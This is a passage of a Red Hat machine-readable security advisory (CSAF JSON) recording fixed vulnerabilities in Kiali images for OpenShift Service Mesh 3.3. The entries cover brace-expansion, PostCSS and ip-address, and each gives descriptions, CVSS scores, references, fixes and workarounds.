            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Denial of Service via object serialization bypass"
    },
    {
      "cve": "CVE-2026-69152",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-08-03T18:01:13.566423+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510722"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the brace-expansion library. The `expand()` function does not apply `maxLength` when constructing comma-alternative intermediate arrays or padded sequences, allowing attacker-controlled input to exhaust memory or block the event loop, resulting in a denial of service. This issue is due to an incomplete mitigation of CVE-2026-14257.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Any applications that pass user-controlled input to the `expand()` function are vulnerable to this issue. This flaw can result in an excessive consumption of memory that eventually terminates the process or blocks the event loop, both causing a denial of service. As this vulnerability allows a remote attacker to cause a denial of service, it has been rated with an important severity.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-69152"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510722",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510722"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-69152",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69152"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
          "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
          "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
          "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
          "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
          "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895"
        }
      ],
      "release_date": "2026-08-03T16:33:36.324000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        },
        {
          "category": "workaround",
          "details": "To mitigate this vulnerability, do not pass untrusted input to the expand() function.",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation"
    },
    {
      "cve": "CVE-2026-69153",
      "cwe": {
        "id": "CWE-22",
        "name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
      },
      "discovery_date": "2026-08-03T18:01:01.506065+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510719"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the \u0027from\u0027 parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application\u0027s source code.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Red Hat rates this flaw as Moderate because the information disclosed is limited to files with a .map extension. Source map files may contain source code paths and content, but the attacker cannot read arbitrary files on the system. Exploitation requires the application to process attacker-controlled CSS through PostCSS on the server side.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-69153"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510719",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510719"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-69153",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69153"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153"
        },
        {
          "category": "external",
          "summary": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8",
          "url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
        },
        {
          "category": "external",
          "summary": "https://github.com/postcss/postcss/releases/tag/8.5.19",
          "url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
        },
        {
          "category": "external",
          "summary": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp",
          "url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
        }
      ],
      "release_date": "2026-08-03T16:56:25.733000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        },
        {
          "category": "workaround",
          "details": "Pass map: false when invoking PostCSS to disable source map auto-loading. This prevents the path traversal from being triggered, though it removes source map support entirely.",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL"
    },
    {
      "cve": "CVE-2026-69192",
      "cwe": {
        "id": "CWE-1389",
        "name": "Incorrect Parsing of Numbers with Different Radices"
      },
      "discovery_date": "2026-08-03T21:02:17.374935+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510801"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the `ip-address` library. This library incorrectly interprets IPv4 address octets with leading zeros as decimal, while standard network parsers interpret them as octal. This inconsistency can cause applications to misclassify network targets, allowing a remote attacker to bypass security measures like Server-Side Request Forgery (SSRF) filters and potentially gain unauthorized access to internal systems.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "ip-address: ip-address: Inconsistent IP address parsing leads to Server-Side Request Forgery (SSRF) and trust-boundary bypass",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This Important flaw in the `ip-address` JavaScript library can lead to Server-Side Request Forgery (SSRF) and trust-boundary bypass. The library\u0027s inconsistent parsing of IP address octets with leading zeros, which it interprets as decimal while the network stack interprets them as octal, can cause applications to misclassify internal IP addresses as external. This discrepancy can bypass security filters designed to prevent access to internal resources.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-69192"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510801",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510801"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-69192",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69192"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69192",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69192"
        },
        {
          "category": "external",
          "summary": "https://github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e",
          "url": "https://github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e"
        },
        {
          "category": "external",
          "summary": "https://github.com/beaugunderson/ip-address/releases/tag/v10.3.1",
          "url": "https://github.com/beaugunderson/ip-address/releases/tag/v10.3.1"
        },
        {
          "category": "external",
          "summary": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr",
          "url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr"
        }
      ],
      "release_date": "2026-08-03T19:56:13.640000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
